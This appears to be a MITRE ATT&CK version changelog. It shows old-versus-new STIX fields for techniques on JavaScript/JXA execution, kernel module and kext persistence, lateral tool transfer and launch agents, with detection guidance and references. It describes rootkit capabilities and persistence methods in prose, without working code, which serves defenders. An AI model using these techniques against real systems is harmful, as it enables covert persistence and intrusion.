| description | Adversaries may abuse JavaScript and/or JScript for execution. JavaScript (JS) is a platform-agnostic scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS) JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts) Adversaries may abuse JavaScript / JScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027). | Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)
JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)
JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)
Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027). |
| x_mitre_data_sources[0] | Loaded DLLs | Script: Script Execution |
| x_mitre_data_sources[1] | DLL monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[3] | Process command-line parameters | Module: Module Load |
| x_mitre_detection | Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. | Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.
Monitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.
Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. |
| x_mitre_version | 1.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Apple About Mac Scripting 2016', 'description': 'Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html'} | |
| external_references | {'source_name': 'SpecterOps JXA 2020', 'description': 'Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.', 'url': 'https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5'} | |
| external_references | {'source_name': 'SentinelOne macOS Red Team', 'description': 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.', 'url': 'https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/'} | |
| external_references | {'source_name': 'Red Canary Silver Sparrow Feb2021', 'description': 'Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.', 'url': 'https://redcanary.com/blog/clipping-silver-sparrows-wings/'} | |
| external_references | {'source_name': 'MDSec macOS JXA and VSCode', 'description': 'Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.', 'url': 'https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 1.3
Version changed from: 1.0 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify the kernel to automatically execute p | t | 1 | Adversaries may modify the kernel to automatically execute p |
| > | rograms on system boot. Loadable Kernel Modules (LKMs) are p | > | rograms on system boot. Loadable Kernel Modules (LKMs) are p | ||
| > | ieces of code that can be loaded and unloaded into the kerne | > | ieces of code that can be loaded and unloaded into the kerne | ||
| > | l upon demand. They extend the functionality of the kernel w | > | l upon demand. They extend the functionality of the kernel w | ||
| > | ithout the need to reboot the system. For example, one type | > | ithout the need to reboot the system. For example, one type | ||
| > | of module is the device driver, which allows the kernel to a | > | of module is the device driver, which allows the kernel to a | ||
| > | ccess hardware connected to the system. (Citation: Linux Ker | > | ccess hardware connected to the system.(Citation: Linux Kern | ||
| > | nel Programming) When used maliciously, LKMs can be a type | > | el Programming) When used maliciously, LKMs can be a type | ||
| > | of kernel-mode [Rootkit](https://attack.mitre.org/technique | > | of kernel-mode [Rootkit](https://attack.mitre.org/techniques | ||
| > | s/T1014) that run with the highest operating system privileg | > | /T1014) that run with the highest operating system privilege | ||
| > | e (Ring 0). (Citation: Linux Kernel Module Programming Guide | > | (Ring 0).(Citation: Linux Kernel Module Programming Guide) | ||
| > | ) Common features of LKM based rootkits include: hiding itse | > | Common features of LKM based rootkits include: hiding itself | ||
| > | lf, selective hiding of files, processes and network activit | > | , selective hiding of files, processes and network activity, | ||
| > | y, as well as log tampering, providing authenticated backdoo | > | as well as log tampering, providing authenticated backdoors | ||
| > | rs and enabling root access to non-privileged users. (Citati | > | , and enabling root access to non-privileged users.(Citation | ||
| > | on: iDefense Rootkit Overview) Kernel extensions, also call | > | : iDefense Rootkit Overview) Kernel extensions, also called | ||
| > | ed kext, are used for macOS to load functionality onto a sys | > | kext, are used in macOS to load functionality onto a system | ||
| > | tem similar to LKMs for Linux. They are loaded and unloaded | > | similar to LKMs for Linux. Since the kernel is responsible | ||
| > | through <code>kextload</code> and <code>kextunload</code> co | > | for enforcing security and the kernel extensions run as apar | ||
| > | mmands. Adversaries can use LKMs and kexts to covertly pers | > | t of the kernel, kexts are not governed by macOS security po | ||
| > | ist on a system and elevate privileges. Examples have been f | > | licies. Kexts are loaded and unloaded through <code>kextload | ||
| > | ound in the wild and there are some open source projects. (C | > | </code> and <code>kextunload</code> commands. Kexts need to | ||
| > | itation: Volatility Phalanx2) (Citation: CrowdStrike Linux R | > | be signed with a developer ID that is granted privileges by | ||
| > | ootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorp | > | Apple allowing it to sign Kernel extensions. Developers with | ||
| > | hine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Cit | > | out these privileges may still sign kexts but they will not | ||
| > | ation: Synack Secure Kernel Extension Broken)(Citation: Secu | > | load unless SIP is disabled. If SIP is enabled, the kext sig | ||
| > | relist Ventir) (Citation: Trend Micro Skidmap) | > | nature is verified before being added to the AuxKC.(Citation | ||
| > | : System and kernel extensions in macOS) Since macOS Catali | ||||
| > | na 10.15, kernel extensions have been deprecated in favor of | ||||
| > | System Extensions. However, kexts are still allowed as "Leg | ||||
| > | acy System Extensions" since there is no System Extension fo | ||||
| > | r Kernel Programming Interfaces.(Citation: Apple Kernel Exte | ||||
| > | nsion Deprecation) Adversaries can use LKMs and kexts to co | ||||
| > | nduct [Persistence](https://attack.mitre.org/tactics/TA0003) | ||||
| > | and/or [Privilege Escalation](https://attack.mitre.org/tact | ||||
| > | ics/TA0004) on a system. Examples have been found in the wil | ||||
| > | d, and there are some relevant open source projects as well. | ||||
| > | (Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux | ||||
| > | Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorph | ||||
| > | ine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citat | ||||
| > | ion: Synack Secure Kernel Extension Broken)(Citation: Secure | ||||
| > | list Ventir)(Citation: Trend Micro Skidmap) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-30 21:23:15.188000+00:00 | 2022-04-20 18:53:39.406000+00:00 |
| description | Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)
When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)
Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands.
Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap) | Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)
When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)
Kernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)
Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as "Legacy System Extensions" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)
Adversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap) |
| external_references[1]['source_name'] | Linux Kernel Programming | Apple Developer Configuration Profile |
| external_references[1]['description'] | Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018. | Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021. |
| external_references[1]['url'] | https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf | https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf |
| external_references[2]['source_name'] | Linux Kernel Module Programming Guide | Apple Kernel Extension Deprecation |
| external_references[2]['description'] | Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018. | Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020. |
| external_references[2]['url'] | http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html | https://developer.apple.com/support/kernel-extensions/ |
| external_references[3]['source_name'] | iDefense Rootkit Overview | System and kernel extensions in macOS |
| external_references[3]['description'] | Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018. | Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022. |
| external_references[3]['url'] | http://www.megasecurity.org/papers/Rootkits.pdf | https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web |
| external_references[4]['source_name'] | Volatility Phalanx2 | GitHub Reptile |
| external_references[4]['description'] | Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018. | Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018. |
| external_references[4]['url'] | https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html | https://github.com/f0rb1dd3n/Reptile |
| external_references[5]['source_name'] | CrowdStrike Linux Rootkit | Volatility Phalanx2 |
| external_references[5]['description'] | Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017. | Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018. |
| external_references[5]['url'] | https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ | https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html |
| external_references[6]['source_name'] | GitHub Reptile | iDefense Rootkit Overview |
| external_references[6]['description'] | Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018. | Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018. |
| external_references[6]['url'] | https://github.com/f0rb1dd3n/Reptile | http://www.megasecurity.org/papers/Rootkits.pdf |
| external_references[7]['source_name'] | GitHub Diamorphine | Linux Loadable Kernel Module Insert and Remove LKMs |
| external_references[7]['description'] | Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018. | Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018. |
| external_references[7]['url'] | https://github.com/m0nad/Diamorphine | http://tldp.org/HOWTO/Module-HOWTO/x197.html |
| external_references[8]['source_name'] | RSAC 2015 San Francisco Patrick Wardle | CrowdStrike Linux Rootkit |
| external_references[8]['description'] | Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018. | Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017. |
| external_references[8]['url'] | https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf | https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ |
| external_references[9]['source_name'] | Synack Secure Kernel Extension Broken | GitHub Diamorphine |
| external_references[9]['description'] | Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018. | Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018. |
| external_references[9]['url'] | https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/ | https://github.com/m0nad/Diamorphine |
| external_references[11]['source_name'] | Trend Micro Skidmap | User Approved Kernel Extension Pike’s |
| external_references[11]['description'] | Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020. | Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading…. Retrieved September 23, 2021. |
| external_references[11]['url'] | https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/ | https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/ |
| external_references[12]['source_name'] | Linux Loadable Kernel Module Insert and Remove LKMs | Linux Kernel Module Programming Guide |
| external_references[12]['description'] | Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018. | Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018. |
| external_references[12]['url'] | http://tldp.org/HOWTO/Module-HOWTO/x197.html | http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html |
| external_references[13]['source_name'] | Wikipedia Loadable Kernel Module | Linux Kernel Programming |
| external_references[13]['description'] | Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018. | Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018. |
| external_references[13]['url'] | https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux | https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf |
| x_mitre_data_sources[0] | Process monitoring | File: File Creation |
| x_mitre_data_sources[1] | Process command-line parameters | File: File Modification |
| x_mitre_detection | Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)
For macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity.
Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r) | Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)
Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)
On macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)
|
| x_mitre_version | 1.0 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Trend Micro Skidmap', 'description': 'Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/'} | |
| external_references | {'source_name': 'Purves Kextpocalypse 2', 'description': 'Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.', 'url': 'https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/'} | |
| external_references | {'source_name': 'RSAC 2015 San Francisco Patrick Wardle', 'description': 'Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'} | |
| external_references | {'source_name': 'Synack Secure Kernel Extension Broken', 'description': 'Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018.', 'url': 'https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/'} | |
| external_references | {'source_name': 'Wikipedia Loadable Kernel Module', 'description': 'Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.', 'url': 'https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux'} | |
| x_mitre_contributors | Wayne Silva, F-Secure Countercept | |
| x_mitre_contributors | Eric Kaiser @ideologysec | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Kernel: Kernel Module Load |
Current version: 1.2
Version changed from: 1.0 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 13:54:08.239000+00:00 | 2021-09-28 13:09:50.809000+00:00 |
| x_mitre_data_sources[0] | Windows event logs | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Windows Registry | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Netflow/Enclave netflow | Service: Service Creation |
| x_mitre_version | 1.0 | 1.2 |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may transfer tools or other files between system | t | 1 | Adversaries may transfer tools or other files between system |
| > | s in a compromised environment. Files may be copied from one | > | s in a compromised environment. Once brought into the victim | ||
| > | system to another to stage adversary tools or other files o | > | environment (i.e. [Ingress Tool Transfer](https://attack.mi | ||
| > | ver the course of an operation. Adversaries may copy files l | > | tre.org/techniques/T1105)) files may then be copied from one | ||
| > | aterally between internal victim systems to support lateral | > | system to another to stage adversary tools or other files o | ||
| > | movement using inherent file sharing protocols such as file | > | ver the course of an operation. Adversaries may copy files b | ||
| > | sharing over SMB to connected network shares or with authent | > | etween internal victim systems to support lateral movement u | ||
| > | icated connections with [SMB/Windows Admin Shares](https://a | > | sing inherent file sharing protocols such as file sharing ov | ||
| > | ttack.mitre.org/techniques/T1021/002) or [Remote Desktop Pro | > | er [SMB/Windows Admin Shares](https://attack.mitre.org/techn | ||
| > | tocol](https://attack.mitre.org/techniques/T1021/001). Files | > | iques/T1021/002) to connected network shares or with authent | ||
| > | can also be copied over on Mac and Linux with native tools | > | icated connections via [Remote Desktop Protocol](https://att | ||
| > | like scp, rsync, and sftp. | > | ack.mitre.org/techniques/T1021/001).(Citation: Unit42 Locker | ||
| > | Goga 2019) Files can also be transferred using native or ot | ||||
| > | herwise present tools on the victim system, such as scp, rsy | ||||
| > | nc, curl, sftp, and [ftp](https://attack.mitre.org/software/ | ||||
| > | S0095). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 22:10:10.862000+00:00 | 2022-04-19 15:34:49.016000+00:00 |
| description | Adversaries may transfer tools or other files between systems in a compromised environment. Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files laterally between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. | Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019) Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). |
| x_mitre_data_sources[0] | Process command-line parameters | Named Pipe: Named Pipe Metadata |
| x_mitre_data_sources[1] | File monitoring | Network Share: Network Share Access |
| x_mitre_data_sources[2] | Packet capture | File: File Creation |
| x_mitre_data_sources[3] | Process use of network | File: File Metadata |
| x_mitre_data_sources[4] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[5] | Network protocol analysis | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[6] | Process monitoring | Command: Command Execution |
| x_mitre_detection | Monitor for file creation and files transferred within a network using protocols such as SMB. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts. | Monitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts. |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Unit42 LockerGoga 2019', 'description': 'Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.', 'url': 'https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/'} | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.4
Version changed from: 1.0 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create or modify launch agents to repeatedly | t | 1 | Adversaries may create or modify launch agents to repeatedly |
| > | execute malicious payloads as part of persistence. Per Appl | > | execute malicious payloads as part of persistence. When a u | ||
| > | e’s developer documentation, when a user logs in, a per-user | > | ser logs in, a per-user launchd process is started which loa | ||
| > | launchd process is started which loads the parameters for e | > | ds the parameters for each launch-on-demand user agent from | ||
| > | ach launch-on-demand user agent from the property list (plis | > | the property list (.plist) file found in <code>/System/Libra | ||
| > | t) files found in <code>/System/Library/LaunchAgents</code>, | > | ry/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, | ||
| > | <code>/Library/LaunchAgents</code>, and <code>$HOME/Library | > | and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs | ||
| > | /LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemo | > | Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citat | ||
| > | ns) (Citation: OSX Keydnap malware) (Citation: Antiquated Ma | > | ion: Antiquated Mac Malware) Property list files use the <co | ||
| > | c Malware). These launch agents have property list files whi | > | de>Label</code>, <code>ProgramArguments </code>, and <code>R | ||
| > | ch point to the executables that will be launched (Citation: | > | unAtLoad</code> keys to identify the Launch Agent's name, ex | ||
| > | OSX.Dok Malware). Adversaries may install a new launch ag | > | ecutable location, and execution time.(Citation: OSX.Dok Mal | ||
| > | ent that can be configured to execute at login by using laun | > | ware) Launch Agents are often installed to perform updates t | ||
